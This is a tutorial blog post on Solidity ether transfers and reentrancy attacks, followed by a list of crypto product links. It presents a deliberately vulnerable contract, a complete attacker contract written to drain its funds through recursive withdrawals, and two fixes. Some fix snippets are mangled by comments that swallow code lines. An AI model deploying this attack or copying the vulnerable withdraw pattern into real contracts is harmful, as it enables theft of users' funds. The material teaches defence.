Reentrancy exploit
Solidity supports three ways of transferring ether between wallets and smart contracts. These supported methods of transferring ether are send(), transfer() and call.value(). The methods differ by how much gas they pass to the transfer for executing other methods (in case the recipient is a smart contract), and by how they handle exceptions. send() and call().value() will merely return false upon failure but transfer() will throw an exception which will also revert state to what it was before the function call. These methods are summarized below
Therefore, your send() function should always be inside the require statement, to inform you about the failed execution.
In case of transfer(), you get to know that your transaction is unsuccessful right at the execution attempt.
Lastly, in case of call(), it still returns false in case an error occurs, that is why keep the usage of require()
in mind. The principal difference from the two previous functions is an opportunity to set gas limit via .call{value: _amount, gas: gasValue}(“”) . It is necessary in case the payable function of the contract receiving ether performs a complex logic, that requires plenty of gas.
A contract can have at most one receive
function, declared using receive() external payable { ... }
(without the function
keyword). This function cannot have arguments, cannot return anything and must have external
visibility and payable
state mutability. It is executed on a call to the contract with empty calldata. This is the function that is executed on plain Ether transfers (e.g. via .send()
or .transfer()
). If no such function exists, but a payable fallback function exists, the fallback function will be called on a plain Ether transfer. If neither a receive Ether nor a payable fallback function is present, the contract cannot receive Ether through regular transactions and throws an exception.
In the worst case, the fallback function can only rely on 2300 gas being available (for example when send
or transfer
is used), leaving little room to perform other operations except basic logging. The following operations will consume more gas than the 2300 gas stipend:
- Writing to storage
- Creating a contract
- Calling an external function which consumes a large amount of gas
- Sending Ether
But in recent years, It has become a norm to use call() function to transfer ether rather than transfer and send because of the following reason: Any smart contract that uses transfer()
or send()
is taking a hard dependency on gas costs by forwarding a fixed amount of gas: 2300.
Read more here:https://diligence.consensys.net/blog/2019/09/stop-using-soliditys-transfer-now/
This whole background was necessary to understand the reentrancy attack. Let us consider the following contract:
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.10;contract EtherRentrancy {
mapping (address => uint256) public balances;
address public owner;
constructor() public {
owner = msg.sender;
}
function deposit() public payable{
balances[msg.sender] += msg.value;
}
function withdraw(uint _amount) public {
require (balances[msg.sender] >= _amount, "Insufficient funds");
(bool sent, ) = msg.sender.call{value: _amount}("");
require(sent, "Failed to send funds");
balances[msg.sender] -= _amount;
}
function getBalance() public view returns(uint){
return address(this).balance;
}
}
In this contract, any valid Ethereum address can deposit ether through the deposit function and can withdraw their ether with the withdraw function.
This is the contract we will use to drain all the funds from the above contract.
contract HelloBreaksLoose{
EtherRentrancy etherrentrancy;
constructor(address _etherrentrancy) public {
etherrentrancy = EtherRentrancy(_etherrentrancy);
} receive() external payable {
if (etherrentrancy.getBalance() >= 1 ether){
etherrentrancy.withdraw(1 ether);
}
} function attack() external payable{
require(msg.value >= 1 ether);
etherrentrancy.deposit{value: msg.value}();
etherrentrancy.withdraw(1 ether);
}
function getBalance() public view returns(uint){
return address(this).balance;
}}
The contract should be deployed with the address of the EtherRentrancy contract.
Following are the execution steps when call function attack() of this contract: Step1: attack(),
Step2: deposit() with 1 ether on EtherRentrancy contract;
Step3: withdraw() function of EtherRentrancy contract;
Step4: withdraw() function, in turn, will call the receive function of HelloBreaksLoose;
Step5: receive function will again call the withdraw() function;
The last two steps — Step 3 and Step4 — will run in a loop until EtherRentrancy has a balance of less than 1 ether.
There are two ways to stop this attack:
- Change the withdraw function: update your state variable before you make any external calls from your contract.
function withdraw(uint _amount) public {
require (balances[msg.sender] >= _amount, "Insufficient f unds");
//Now, update to state variable balances is happening before // the call, the attacker wouldnt be able to withdraw
// funds more than he/she deposited. Subsequent calls into
//this function will fail as the depositor will not have
// funds. balances[msg.sender] -= _amount;
(bool sent, ) = msg.sender.call{value: _amount}("");
require(sent, "Failed to send funds");
}
2. Using a modifier blockRentrancy: the idea is to lock the contract while any function of the contract is being executed, so only a single function in the contract can be executed at a time.
bool internal locked; //only contract can change this variablemodifier blockRentrancy { require(!locked, "Contract is locked");
locked = true;
_;
locked = false; //set locked = false after completion of
// function execution}//Use this modifier in contract functions
function withdraw(uint _amount) public blockRentrancy{ .....}
Also, Read
- The Best Crypto Trading Bot
- Crypto Copy Trading Platforms
- The Best Crypto Tax Software
- Best Crypto Trading Platforms
- Best Crypto Lending Platforms
- Best Blockchain Analysis Tools
- Crypto arbitrage guide: How to make money as a beginner
- Best Crypto Charting Tool
- Ledger vs Trezor
- What are the best books to learn about Bitcoin?
- 3Commas Review
- AAX Exchange Review | Referral Code, Trading Fee, Pros and Cons
- Deribit Review | Options, Fees, APIs and Testnet
- FTX Crypto Exchange Review
- NGRAVE ZERO review
- Bybit Exchange Review
- 3Commas vs Cryptohopper
- The Best Bitcoin Hardware wallet
- Best monero wallet
- ledger nano s vs x
- Bitsgap vs 3Commas vs Quadency
- Ledger Nano S vs Trezor one vs Trezor T vs Ledger Nano X
- BlockFi vs Celsius vs Hodlnaut
- Bitsgap review — A Crypto Trading Bot That Makes Easy Money
- Quadency Review- A Crypto Trading Bot Made For Professionals
- PrimeXBT Review | Leverage Trading, Fee and Covesting
- Ellipal Titan Review
- SecuX Stone Review
- BlockFi Review | Earn up to 8.6% interests on your Crypto